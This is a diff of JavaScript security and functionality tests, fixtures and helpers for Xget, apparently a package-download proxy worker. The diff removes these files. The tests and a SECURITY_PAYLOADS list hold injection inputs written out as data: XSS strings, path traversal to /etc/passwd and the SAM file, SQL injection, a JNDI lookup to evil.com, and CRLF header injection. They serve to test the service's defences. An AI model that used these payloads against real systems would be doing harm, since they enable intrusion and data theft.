const response = await SELF.fetch(`https://example.com${path}`, { method: 'HEAD' });
|
||||
// Should handle encoded paths without security issues
|
||||
expect(response.status).not.toBe(500);
|
||||
}
|
||||
}, 30000);
|
||||
});
|
||||
|
||||
describe('Input Sanitization', () => {
|
||||
it('should handle special characters in paths', async () => {
|
||||
const specialPaths = [
|
||||
'/gh/user/repo<script>alert(1)</script>',
|
||||
"/gh/user/repo'; DROP TABLE users; --",
|
||||
'/gh/user/repo${jndi:ldap://evil.com}',
|
||||
'/gh/user/repo{{7*7}}'
|
||||
];
|
||||
|
||||
for (const path of specialPaths) {
|
||||
const response = await SELF.fetch(`https://example.com${path}`, { method: 'HEAD' });
|
||||
// Should safely handle special characters
|
||||
expect(response.status).not.toBe(500);
|
||||
}
|
||||
}, 30000);
|
||||
|
||||
it('should handle Unicode characters safely', async () => {
|
||||
const unicodePaths = [
|
||||
'/gh/所有者/存储库/文件.txt',
|
||||
'/gh/user/repo/файл.txt',
|
||||
'/gh/user/repo/ファイル.txt'
|
||||
];
|
||||
|
||||
for (const path of unicodePaths) {
|
||||
const response = await SELF.fetch(`https://example.com${path}`, { method: 'HEAD' });
|
||||
// Should handle Unicode without issues
|
||||
expect(response.status).not.toBe(500);
|
||||
}
|
||||
}, 20000);
|
||||
});
|
||||
|
||||
describe('Request Header Validation', () => {
|
||||
it('should handle malicious User-Agent headers', async () => {
|
||||
const maliciousUserAgents = [
|
||||
'<script>alert(1)</script>',
|
||||
'Mozilla/5.0 ${jndi:ldap://evil.com}'
|
||||
];
|
||||
|
||||
for (const userAgent of maliciousUserAgents) {
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo', {
|
||||
method: 'HEAD',
|
||||
headers: {
|
||||
'User-Agent': userAgent
|
||||
}
|
||||
});
|
||||
|
||||
// Should handle malicious user agents safely
|
||||
expect(response.status).not.toBe(500);
|
||||
}
|
||||
}, 20000);
|
||||
|
||||
it('should handle header injection attempts', async () => {
|
||||
// Malformed headers should be rejected before the request is dispatched.
|
||||
expect(() => {
|
||||
new Request('https://example.com/gh/test/repo', {
|
||||
headers: {
|
||||
'X-Test': 'value\r\nX-Injected: malicious'
|
||||
}
|
||||
});
|
||||
}).toThrow(/[Ii]nvalid|[Hh]eader/);
|
||||
});
|
||||
});
|
||||
|
||||
describe('Rate Limiting and DoS Protection', () => {
|
||||
it('should handle concurrent requests gracefully', async () => {
|
||||
const requests = Array(10)
|
||||
.fill(null)
|
||||
.map(() => SELF.fetch('https://example.com/gh/test/repo/small-file.txt'));
|
||||
|
||||
const responses = await Promise.all(requests);
|
||||
|
||||
// All requests should be handled without errors
|
||||
responses.forEach((/** @type {Response} */ response) => {
|
||||
expect(response.status).not.toBe(500);
|
||||
});
|
||||
}, 30000);
|
||||
|
||||
it('should timeout long-running requests', async () => {
|
||||
// This test would need to be implemented based on actual timeout behavior
|
||||
// For now, we just verify the request doesn't hang indefinitely
|
||||
const startTime = Date.now();
|
||||
|
||||
try {
|
||||
await SELF.fetch('https://example.com/gh/test/very-large-file', {
|
||||
signal: AbortSignal.timeout(35000) // Slightly longer than expected timeout
|
||||
});
|
||||
} catch {
|
||||
// Request should timeout or complete within reasonable time
|
||||
const elapsed = Date.now() - startTime;
|
||||
expect(elapsed).toBeLessThan(40000); // 40 seconds max
|
||||
}
|
||||
}, 45000);
|
||||
});
|
||||
|
||||
describe('Error Information Disclosure', () => {
|
||||
it('should not expose internal error details', async () => {
|
||||
const response = await SELF.fetch('https://example.com/invalid-platform/test', {
|
||||
redirect: 'manual' // Don't follow redirects
|
||||
});
|
||||
|
||||
// Should return error or redirect
|
||||
expect([400, 404, 302, 301]).toContain(response.status);
|
||||
|
||||
if (response.status >= 400) {
|
||||
const body = await response.text();
|
||||
// Should not expose internal paths, stack traces, or sensitive info
|
||||
expect(body).not.toMatch(/\/[a-zA-Z]:[\\/]/); // Windows paths
|
||||
expect(body).not.toMatch(/\/home\/[^/]+/); // Unix home paths
|
||||
expect(body).not.toMatch(/at [a-zA-Z]+\.[a-zA-Z]+/); // Stack traces
|
||||
expect(body).not.toMatch(/Error: .+ at/); // Detailed error messages
|
||||
}
|
||||
});
|
||||
|
||||
it('should provide generic error messages', async () => {
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo', {
|
||||
method: 'TRACE',
|
||||
redirect: 'manual'
|
||||
});
|
||||
|
||||
// Should return error or redirect
|
||||
expect([400, 404, 302, 301, 405, 501]).toContain(response.status);
|
||||
});
|
||||
});
|
||||
|
||||
describe('CORS Security', () => {
|
||||
it('should handle CORS preflight requests securely', async () => {
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo', {
|
||||
method: 'OPTIONS',
|
||||
headers: {
|
||||
Origin: 'https://evil.com',
|
||||
'Access-Control-Request-Method': 'GET',
|
||||
'Access-Control-Request-Headers': 'X-Custom-Header'
|
||||
}
|
||||
});
|
||||
|
||||
// Should either reject OPTIONS or handle CORS securely
|
||||
if (response.status === 200) {
|
||||
const allowOrigin = response.headers.get('Access-Control-Allow-Origin');
|
||||
// Should not blindly allow all origins for sensitive operations
|
||||
expect(allowOrigin).not.toBe('https://evil.com');
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('Content Type Security', () => {
|
||||
it('should not execute uploaded content', async () => {
|
||||
// Test that the service doesn't execute or interpret uploaded content
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo/script.js');
|
||||
|
||||
// Should serve content with appropriate headers, not execute it
|
||||
const contentType = response.headers.get('Content-Type');
|
||||
if (contentType) {
|
||||
expect(contentType).not.toContain('text/html');
|
||||
expect(contentType).not.toContain('application/javascript');
|
||||
}
|
||||
});
|
||||
});
|
||||
});
|
||||
Vendored
-75
@@ -1,75 +0,0 @@
|
||||
/**
|
||||
* Mock HTTP response fixtures for testing
|
||||
* Organized by platform with realistic response data
|
||||
*/
|
||||
|
||||
export const MOCK_RESPONSES = {
|
||||
github: {
|
||||
packageJson: {
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'application/json', 'Cache-Control': 'max-age=300' },
|
||||
body: JSON.stringify({
|
||||
name: 'vscode',
|
||||
version: '1.85.0',
|
||||
description: 'Visual Studio Code'
|
||||
})
|
||||
},
|
||||
readme: {
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'text/plain; charset=utf-8' },
|
||||
body: '# Visual Studio Code\n\nCode editing. Redefined.'
|
||||
},
|
||||
gitInfoRefs: {
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'application/x-git-upload-pack-advertisement' },
|
||||
body: '001e# service=git-upload-pack\n0000009144b8c8cf...'
|
||||
}
|
||||
},
|
||||
|
||||
npm: {
|
||||
packageMetadata: {
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({
|
||||
name: 'react',
|
||||
version: '18.2.0',
|
||||
description: 'React is a JavaScript library for building user interfaces.'
|
||||
})
|
||||
}
|
||||
},
|
||||
|
||||
pypi: {
|
||||
simpleIndex: {
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'text/html' },
|
||||
body: '<!DOCTYPE html><html><head><title>Links for requests</title></head></html>'
|
||||
}
|
||||
},
|
||||
|
||||
errors: {
|
||||
notFound: { status: 404, headers: { 'Content-Type': 'text/plain' }, body: 'Not Found' },
|
||||
badRequest: { status: 400, headers: { 'Content-Type': 'text/plain' }, body: 'Bad Request' },
|
||||
unauthorized: {
|
||||
status: 401,
|
||||
headers: { 'Content-Type': 'text/plain' },
|
||||
body: 'Unauthorized'
|
||||
},
|
||||
internalServerError: {
|
||||
status: 500,
|
||||
headers: { 'Content-Type': 'text/plain' },
|
||||
body: 'Internal Server Error'
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
/**
|
||||
* Create a Response object from mock data
|
||||
* @param {{body: string, status: number, headers?: Record<string, string>}} mockData - Mock response data
|
||||
* @returns {Response} Response object
|
||||
*/
|
||||
export function createMockResponse(mockData) {
|
||||
return new Response(mockData.body, {
|
||||
status: mockData.status,
|
||||
headers: mockData.headers
|
||||
});
|
||||
}
|
||||
@@ -1,61 +0,0 @@
|
||||
/**
|
||||
* Custom assertions and validation helpers
|
||||
*/
|
||||
|
||||
/**
|
||||
* Validate response headers for security
|
||||
* @param {Response} response - Response to validate
|
||||
* @returns {{passed: boolean, missing: string[], present: string[]}} Validation results
|
||||
*/
|
||||
export function validateSecurityHeaders(response) {
|
||||
const requiredHeaders = [
|
||||
'Strict-Transport-Security',
|
||||
'X-Frame-Options',
|
||||
'X-XSS-Protection',
|
||||
'Content-Security-Policy',
|
||||
'Referrer-Policy'
|
||||
];
|
||||
|
||||
const results = {
|
||||
passed: true,
|
||||
/** @type {string[]} */
|
||||
missing: [],
|
||||
/** @type {string[]} */
|
||||
present: []
|
||||
};
|
||||
|
||||
requiredHeaders.forEach(header => {
|
||||
if (response.headers.has(header)) {
|
||||
results.present.push(header);
|
||||
} else {
|
||||
results.missing.push(header);
|
||||
results.passed = false;
|
||||
}
|
||||
});
|
||||
|
||||
return results;
|
||||
}
|
||||
|
||||
/**
|
||||
* Assert that a URL is valid
|
||||
* @param {string} url - URL to validate
|
||||
* @returns {boolean} True if valid
|
||||
*/
|
||||
export function isValidUrl(url) {
|
||||
try {
|
||||
new URL(url);
|
||||
return true;
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Assert that response has security headers
|
||||
* @param {Response} response - Response to check
|
||||
* @returns {boolean} True if has all security headers
|
||||
*/
|
||||
export function hasSecurityHeaders(response) {
|
||||
const validation = validateSecurityHeaders(response);
|
||||
return validation.passed;
|
||||
}
|
||||
@@ -1,122 +0,0 @@
|
||||
/**
|
||||
* Test data generators
|
||||
*/
|
||||
|
||||
/**
|
||||
* Generate test URLs for different platforms
|
||||
* @param {string} platform - Platform identifier (gh, gl, hf, etc.)
|
||||
* @param {string} path - Resource path
|
||||
* @returns {string} Complete test URL
|
||||
*/
|
||||
export function generateTestUrl(platform, path) {
|
||||
const baseUrl = 'https://example.com';
|
||||
return `${baseUrl}/${platform}/${path}`;
|
||||
}
|
||||
|
||||
/**
|
||||
* Common test URLs for different platforms
|
||||
*/
|
||||
export const TEST_URLS = {
|
||||
github: {
|
||||
file: 'https://example.com/gh/microsoft/vscode/blob/main/package.json',
|
||||
raw: 'https://example.com/gh/microsoft/vscode/raw/main/README.md',
|
||||
release: 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip',
|
||||
archive: 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip',
|
||||
git: 'https://example.com/gh/microsoft/vscode.git'
|
||||
},
|
||||
gitlab: {
|
||||
file: 'https://example.com/gl/gitlab-org/gitlab/-/blob/master/package.json',
|
||||
raw: 'https://example.com/gl/gitlab-org/gitlab/-/raw/master/README.md',
|
||||
archive: 'https://example.com/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip',
|
||||
git: 'https://example.com/gl/gitlab-org/gitlab.git'
|
||||
},
|
||||
huggingface: {
|
||||
model: 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/config.json',
|
||||
dataset: 'https://example.com/hf/datasets/squad/resolve/main/train.json',
|
||||
file: 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/pytorch_model.bin'
|
||||
},
|
||||
npm: {
|
||||
package: 'https://example.com/npm/react',
|
||||
tarball: 'https://example.com/npm/react/-/react-18.2.0.tgz',
|
||||
scoped: 'https://example.com/npm/@types/node',
|
||||
npmPackage: 'https://example.com/npm/npm',
|
||||
npmTarball: 'https://example.com/npm/npm/-/npm-11.5.1.tgz'
|
||||
},
|
||||
pypi: {
|
||||
simple: 'https://example.com/pypi/simple/requests/',
|
||||
package: 'https://example.com/pypi/packages/source/r/requests/requests-2.31.0.tar.gz',
|
||||
wheel: 'https://example.com/pypi/packages/py3/r/requests/requests-2.31.0-py3-none-any.whl'
|
||||
},
|
||||
conda: {
|
||||
main: 'https://example.com/conda/pkgs/main/linux-64/numpy-1.24.3.conda',
|
||||
community: 'https://example.com/conda/community/conda-forge/linux-64/repodata.json',
|
||||
repodata: 'https://example.com/conda/pkgs/main/linux-64/repodata.json'
|
||||
}
|
||||
};
|
||||
|
||||
/**
|
||||
* Security test payloads
|
||||
*/
|
||||
export const SECURITY_PAYLOADS = {
|
||||
xss: [
|
||||
'<script>alert(1)</script>',
|
||||
`${'javascript'}:alert(1)`,
|
||||
'"><script>alert(1)</script>',
|
||||
"';alert(1);//"
|
||||
],
|
||||
pathTraversal: [
|
||||
'../../../etc/passwd',
|
||||
'..%2F..%2F..%2Fetc%2Fpasswd',
|
||||
'..\\..\\..\\windows\\system32\\config\\sam',
|
||||
'%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd'
|
||||
],
|
||||
injection: ["'; DROP TABLE users; --", '${jndi:ldap://evil.com}', '{{7*7}}', '<%=7*7%>'],
|
||||
headerInjection: [
|
||||
'value\r\nX-Injected: malicious',
|
||||
'value\nX-Injected: malicious',
|
||||
'value\r\n\r\n<script>alert(1)</script>'
|
||||
]
|
||||
};
|
||||
|
||||
/**
|
||||
* Test data generators
|
||||
*/
|
||||
export const TestDataGenerator = {
|
||||
/**
|
||||
* Generate random string
|
||||
* @param {number} length - String length
|
||||
* @returns {string} Random string
|
||||
*/
|
||||
randomString(length = 10) {
|
||||
const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
|
||||
let result = '';
|
||||
for (let i = 0; i < length; i++) {
|
||||
result += chars.charAt(Math.floor(Math.random() * chars.length));
|
||||
}
|
||||
return result;
|
||||
},
|
||||
|
||||
/**
|
||||
* Generate random GitHub repository path
|
||||
* @returns {string} Repository path
|
||||
*/
|
||||
githubRepo() {
|
||||
const users = ['microsoft', 'google', 'facebook', 'apple', 'amazon'];
|
||||
const repos = ['vscode', 'react', 'angular', 'vue', 'node'];
|
||||
const user = users[Math.floor(Math.random() * users.length)];
|
||||
const repo = repos[Math.floor(Math.random() * repos.length)];
|
||||
return `${user}/${repo}`;
|
||||
},
|
||||
|
||||
/**
|
||||
* Generate random file path
|
||||
* @returns {string} File path
|
||||
*/
|
||||
filePath() {
|
||||
const dirs = ['src', 'lib', 'test', 'docs', 'config'];
|
||||
const files = ['index.js', 'main.py', 'README.md', 'package.json', 'config.yml'];
|
||||
const dir = dirs[Math.floor(Math.random() * dirs.length)];
|
||||
const file = files[Math.floor(Math.random() * files.length)];
|
||||
return `${dir}/${file}`;
|
||||
}
|
||||
};
|
||||
@@ -1,88 +0,0 @@
|
||||
/**
|
||||
* Test helpers - centralized exports
|
||||
*/
|
||||
|
||||
// Re-export all utilities
|
||||
export * from './assertions.js';
|
||||
export * from './generators.js';
|
||||
export * from './mocks.js';
|
||||
|
||||
/**
|
||||
* Performance test utilities
|
||||
*/
|
||||
export class PerformanceTestHelper {
|
||||
constructor() {
|
||||
/** @type {Array<{name: string, duration: number, timestamp: number}>} */
|
||||
this.measurements = [];
|
||||
}
|
||||
|
||||
/**
|
||||
* Measure execution time of an async function
|
||||
* @param {() => Promise<unknown>} fn - Async function to measure
|
||||
* @param {string} name - Measurement name
|
||||
* @returns {Promise<unknown>} Function result
|
||||
*/
|
||||
async measure(fn, name = 'operation') {
|
||||
const start = performance.now();
|
||||
const result = await fn();
|
||||
const end = performance.now();
|
||||
|
||||
this.measurements.push({
|
||||
name,
|
||||
duration: end - start,
|
||||
timestamp: Date.now()
|
||||
});
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get all measurements
|
||||
* @returns {Array<{name: string, duration: number, timestamp: number}>} Array of measurements
|
||||
*/
|
||||
getMeasurements() {
|
||||
return [...this.measurements];
|
||||
}
|
||||
|
||||
/**
|
||||
* Get average duration for a specific measurement name
|
||||
* @param {string} name - Measurement name
|
||||
* @returns {number} Average duration in milliseconds
|
||||
*/
|
||||
getAverageDuration(name) {
|
||||
const filtered = this.measurements.filter(m => m.name === name);
|
||||
if (filtered.length === 0) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
const total = filtered.reduce((sum, m) => sum + m.duration, 0);
|
||||
return total / filtered.length;
|
||||
}
|
||||
|
||||
/**
|
||||
* Clear all measurements
|
||||
*/
|
||||
clear() {
|
||||
this.measurements = [];
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Test timeout helper
|
||||
* @param {number} ms - Timeout in milliseconds
|
||||
* @returns {Promise<never>} Promise that rejects after timeout
|
||||
*/
|
||||
export function timeout(ms) {
|
||||
return new Promise((_, reject) => {
|
||||
setTimeout(() => reject(new Error(`Test timed out after ${ms}ms`)), ms);
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Wait for a specified amount of time
|
||||
* @param {number} ms - Time to wait in milliseconds
|
||||
* @returns {Promise<void>} Promise that resolves after the specified time
|
||||
*/
|
||||
export function wait(ms) {
|
||||
return new Promise(resolve => setTimeout(resolve, ms));
|
||||
}
|
||||
@@ -1,124 +0,0 @@
|
||||
/**
|
||||
* Mock creation utilities for tests
|
||||
*/
|
||||
|
||||
/**
|
||||
* Create a mock request with default options
|
||||
* @param {string} url - Request URL
|
||||
* @param {object} options - Request options
|
||||
* @returns {Request} Mock request object
|
||||
*/
|
||||
export function createMockRequest(url, options = {}) {
|
||||
const defaultOptions = {
|
||||
method: 'GET',
|
||||
headers: {
|
||||
'User-Agent': 'Mozilla/5.0 (Test)',
|
||||
Accept: '*/*'
|
||||
}
|
||||
};
|
||||
|
||||
return new Request(url, { ...defaultOptions, ...options });
|
||||
}
|
||||
|
||||
/**
|
||||
* Create a mock response with default options
|
||||
* @param {string} body - Response body
|
||||
* @param {object} options - Response options
|
||||
* @returns {Response} Mock response object
|
||||
*/
|
||||
export function createMockResponse(body = 'OK', options = {}) {
|
||||
const defaultOptions = {
|
||||
status: 200,
|
||||
statusText: 'OK',
|
||||
headers: {
|
||||
'Content-Type': 'text/plain'
|
||||
}
|
||||
};
|
||||
|
||||
return new Response(body, { ...defaultOptions, ...options });
|
||||
}
|
||||
|
||||
/**
|
||||
* Create a Git request for testing
|
||||
* @param {string} url - Git repository URL
|
||||
* @param {string} service - Git service (upload-pack or receive-pack)
|
||||
* @returns {Request} Git request object
|
||||
*/
|
||||
export function createGitRequest(url, service = 'git-upload-pack') {
|
||||
const gitUrl = url.includes('?') ? `${url}&service=${service}` : `${url}?service=${service}`;
|
||||
|
||||
return new Request(gitUrl, {
|
||||
method: service === 'git-upload-pack' ? 'GET' : 'POST',
|
||||
headers: {
|
||||
'User-Agent': 'git/2.34.1',
|
||||
'Git-Protocol': 'version=2',
|
||||
...(service !== 'git-upload-pack' && {
|
||||
'Content-Type': `application/x-${service}-request`
|
||||
})
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Create a Docker registry request
|
||||
* @param {string} url - Request URL
|
||||
* @param {{headers?: Record<string, string>}} options - Request options
|
||||
* @returns {Request} Docker request object
|
||||
*/
|
||||
export function createDockerRequest(url, options = {}) {
|
||||
return new Request(url, {
|
||||
method: 'GET',
|
||||
headers: {
|
||||
'User-Agent': 'docker/24.0.0',
|
||||
Accept: 'application/vnd.docker.distribution.manifest.v2+json',
|
||||
...options.headers
|
||||
},
|
||||
...options
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Mock fetch function for testing
|
||||
* @param {string} url - Request URL
|
||||
* @param {object} _options - Fetch options
|
||||
* @returns {Promise<Response>} Mock response
|
||||
*/
|
||||
export function mockFetch(url, _options = {}) {
|
||||
return new Promise(resolve => {
|
||||
setTimeout(() => {
|
||||
if (url.includes('error')) {
|
||||
resolve(createMockResponse('Server Error', { status: 500 }));
|
||||
} else if (url.includes('notfound')) {
|
||||
resolve(createMockResponse('Not Found', { status: 404 }));
|
||||
} else {
|
||||
resolve(createMockResponse('Mock Response', { status: 200 }));
|
||||
}
|
||||
}, 10);
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* Create a mock npm registry response
|
||||
* @param {string} packageName - Package name
|
||||
* @param {string} version - Package version
|
||||
* @returns {object} Mock npm registry response
|
||||
*/
|
||||
export function createMockNpmRegistryResponse(packageName, version = '1.0.0') {
|
||||
return {
|
||||
name: packageName,
|
||||
versions: {
|
||||
[version]: {
|
||||
name: packageName,
|
||||
version,
|
||||
dist: {
|
||||
tarball: `https://registry.npmjs.org/${packageName}/-/${packageName}-${version}.tgz`,
|
||||
shasum: 'mock-shasum',
|
||||
integrity: 'mock-integrity'
|
||||
}
|
||||
}
|
||||
},
|
||||
'dist-tags': {
|
||||
latest: version
|
||||
}
|
||||
};
|
||||
}
|
||||
@@ -1,8 +0,0 @@
|
||||
/**
|
||||
* Test utilities - backward compatibility wrapper
|
||||
* This file maintains backward compatibility with existing tests
|
||||
* by re-exporting from the new modular structure
|
||||
*/
|
||||
|
||||
// Re-export everything from the new modular helpers
|
||||
export * from './index.js';
|
||||
@@ -1,281 +0,0 @@
|
||||
import { SELF } from 'cloudflare:test';
|
||||
import { describe, expect, it } from 'vitest';
|
||||
|
||||
describe('Xget Core Functionality', () => {
|
||||
describe('Basic Request Handling', () => {
|
||||
it('should redirect root path to homepage', async () => {
|
||||
const response = await SELF.fetch('https://example.com/', { redirect: 'manual' });
|
||||
expect(response.status).toBe(302);
|
||||
expect(response.headers.get('Location')).toBe('https://github.com/xixu-me/Xget');
|
||||
});
|
||||
|
||||
it('should redirect platform prefix without path to homepage', async () => {
|
||||
// Test with /gh (no trailing slash)
|
||||
const response1 = await SELF.fetch('https://example.com/gh', { redirect: 'manual' });
|
||||
expect(response1.status).toBe(302);
|
||||
expect(response1.headers.get('Location')).toBe('https://github.com/xixu-me/Xget');
|
||||
|
||||
// Test with /gh/ (with trailing slash)
|
||||
const response2 = await SELF.fetch('https://example.com/gh/', { redirect: 'manual' });
|
||||
expect(response2.status).toBe(302);
|
||||
expect(response2.headers.get('Location')).toBe('https://github.com/xixu-me/Xget');
|
||||
|
||||
// Test with multi-part platform prefix (e.g., /ip/openai)
|
||||
const response3 = await SELF.fetch('https://example.com/ip/openai', { redirect: 'manual' });
|
||||
expect(response3.status).toBe(302);
|
||||
expect(response3.headers.get('Location')).toBe('https://github.com/xixu-me/Xget');
|
||||
});
|
||||
|
||||
it('should redirect invalid platform prefix to homepage', async () => {
|
||||
const response = await SELF.fetch('https://example.com/invalid/test', { redirect: 'manual' });
|
||||
expect(response.status).toBe(302);
|
||||
expect(response.headers.get('Location')).toBe('https://github.com/xixu-me/Xget');
|
||||
});
|
||||
|
||||
it('should include security headers in all responses', async () => {
|
||||
const response = await SELF.fetch('https://example.com/', { redirect: 'manual' });
|
||||
|
||||
expect(response.headers.get('Strict-Transport-Security')).toBeTruthy();
|
||||
expect(response.headers.get('X-Frame-Options')).toBe('DENY');
|
||||
expect(response.headers.get('X-XSS-Protection')).toBe('1; mode=block');
|
||||
expect(response.headers.get('Content-Security-Policy')).toBeTruthy();
|
||||
expect(response.headers.get('Referrer-Policy')).toBe('strict-origin-when-cross-origin');
|
||||
});
|
||||
});
|
||||
|
||||
describe('Platform URL Transformation', () => {
|
||||
it('should handle GitHub URLs correctly', async () => {
|
||||
const testUrl = 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip';
|
||||
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||
|
||||
// Should attempt to proxy to GitHub
|
||||
expect(response.status).not.toBe(400);
|
||||
});
|
||||
|
||||
it('should handle GitLab URLs correctly', async () => {
|
||||
const testUrl = 'https://example.com/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip';
|
||||
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||
|
||||
// Should attempt to proxy to GitLab
|
||||
expect(response.status).not.toBe(400);
|
||||
});
|
||||
|
||||
it('should handle Hugging Face URLs correctly', async () => {
|
||||
const testUrl = 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/config.json';
|
||||
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||
|
||||
// Should attempt to proxy to Hugging Face
|
||||
expect(response.status).not.toBe(400);
|
||||
});
|
||||
|
||||
it('should handle npm URLs correctly', async () => {
|
||||
const testUrl = 'https://example.com/npm/react/-/react-18.2.0.tgz';
|
||||
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||
|
||||
// Should attempt to proxy to npm
|
||||
expect(response.status).not.toBe(400);
|
||||
});
|
||||
|
||||
it('should handle PyPI URLs correctly', async () => {
|
||||
const testUrl = 'https://example.com/pypi/packages/source/r/requests/requests-2.31.0.tar.gz';
|
||||
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||
|
||||
// Should attempt to proxy to PyPI
|
||||
expect(response.status).not.toBe(400);
|
||||
});
|
||||
|
||||
it('should handle conda URLs correctly', async () => {
|
||||
const testUrl =
|
||||
'https://example.com/conda/pkgs/main/linux-64/numpy-1.24.3-py311h08b1b3b_1.conda';
|
||||
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||
|
||||
// Should attempt to proxy to conda
|
||||
expect(response.status).not.toBe(400);
|
||||
});
|
||||
|
||||
it('should handle Flathub URLs correctly', async () => {
|
||||
const testUrl = 'https://example.com/flathub/repo/summary';
|
||||
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||
|
||||
// Should attempt to proxy to Flathub
|
||||
expect(response.status).not.toBe(400);
|
||||
});
|
||||
|
||||
it('should not treat nested /v2/ path segments as container registry requests', async () => {
|
||||
const testUrl = 'https://example.com/gh/microsoft/vscode/releases/download/v2/file.tar.gz';
|
||||
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
|
||||
|
||||
expect(response.status).not.toBe(400);
|
||||
});
|
||||
});
|
||||
|
||||
describe('HTTP Method Validation', () => {
|
||||
it('should allow GET requests', async () => {
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
|
||||
method: 'GET'
|
||||
});
|
||||
|
||||
expect(response.status).not.toBe(405);
|
||||
});
|
||||
|
||||
it('should allow HEAD requests', async () => {
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
|
||||
method: 'HEAD'
|
||||
});
|
||||
|
||||
expect(response.status).not.toBe(405);
|
||||
});
|
||||
|
||||
it('should reject PUT requests for non-Git operations', async () => {
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
|
||||
method: 'PUT'
|
||||
});
|
||||
|
||||
expect(response.status).toBe(405);
|
||||
});
|
||||
|
||||
it('should reject DELETE requests', async () => {
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
|
||||
method: 'DELETE'
|
||||
});
|
||||
|
||||
expect(response.status).toBe(405);
|
||||
});
|
||||
|
||||
it('should reject AI-like POST requests outside /ip providers', async () => {
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo/v1/chat/completions', {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/json'
|
||||
},
|
||||
body: JSON.stringify({ message: 'test' })
|
||||
});
|
||||
|
||||
expect(response.status).toBe(405);
|
||||
});
|
||||
});
|
||||
|
||||
describe('Git Protocol Support', () => {
|
||||
it('should allow POST for Git upload-pack', async () => {
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo.git/git-upload-pack', {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/x-git-upload-pack-request',
|
||||
'User-Agent': 'git/2.34.1'
|
||||
}
|
||||
});
|
||||
|
||||
expect(response.status).not.toBe(405);
|
||||
});
|
||||
|
||||
it('should allow POST for Git receive-pack', async () => {
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo.git/git-receive-pack', {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/x-git-receive-pack-request',
|
||||
'User-Agent': 'git/2.34.1'
|
||||
}
|
||||
});
|
||||
|
||||
expect(response.status).not.toBe(405);
|
||||
});
|
||||
|
||||
it('should handle Git info/refs requests', async () => {
|
||||
const response = await SELF.fetch(
|
||||
'https://example.com/gh/test/repo.git/info/refs?service=git-upload-pack',
|
||||
{
|
||||
method: 'GET',
|
||||
headers: {
|
||||
'User-Agent': 'git/2.34.1'
|
||||
}
|
||||
}
|
||||
);
|
||||
|
||||
expect(response.status).not.toBe(405);
|
||||
});
|
||||
});
|
||||
|
||||
describe('Path Length Validation', () => {
|
||||
it('should reject extremely long paths', async () => {
|
||||
const longPath = `/gh/${'a'.repeat(3000)}`;
|
||||
const response = await SELF.fetch(`https://example.com${longPath}`);
|
||||
|
||||
expect(response.status).toBe(414);
|
||||
});
|
||||
|
||||
it('should accept normal length paths', async () => {
|
||||
const normalPath = '/gh/microsoft/vscode/archive/refs/heads/main.zip';
|
||||
const response = await SELF.fetch(`https://example.com${normalPath}`, { method: 'HEAD' });
|
||||
|
||||
expect(response.status).not.toBe(414);
|
||||
});
|
||||
});
|
||||
|
||||
describe('Performance Headers', () => {
|
||||
it('should include performance metrics in response headers', async () => {
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
|
||||
method: 'HEAD'
|
||||
});
|
||||
|
||||
expect(response.headers.get('X-Performance-Metrics')).toBeTruthy();
|
||||
});
|
||||
|
||||
it('should include valid JSON in performance metrics', async () => {
|
||||
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
|
||||
method: 'HEAD'
|
||||
});
|
||||
const metricsHeader = response.headers.get('X-Performance-Metrics');
|
||||
|
||||
expect(metricsHeader).toBeTruthy();
|
||||
expect(() => JSON.parse(metricsHeader || '')).not.toThrow();
|
||||
});
|
||||
});
|
||||
|
||||
describe('URL Rewriting', () => {
|
||||
it('should rewrite npm registry URLs in JSON responses', async () => {
|
||||
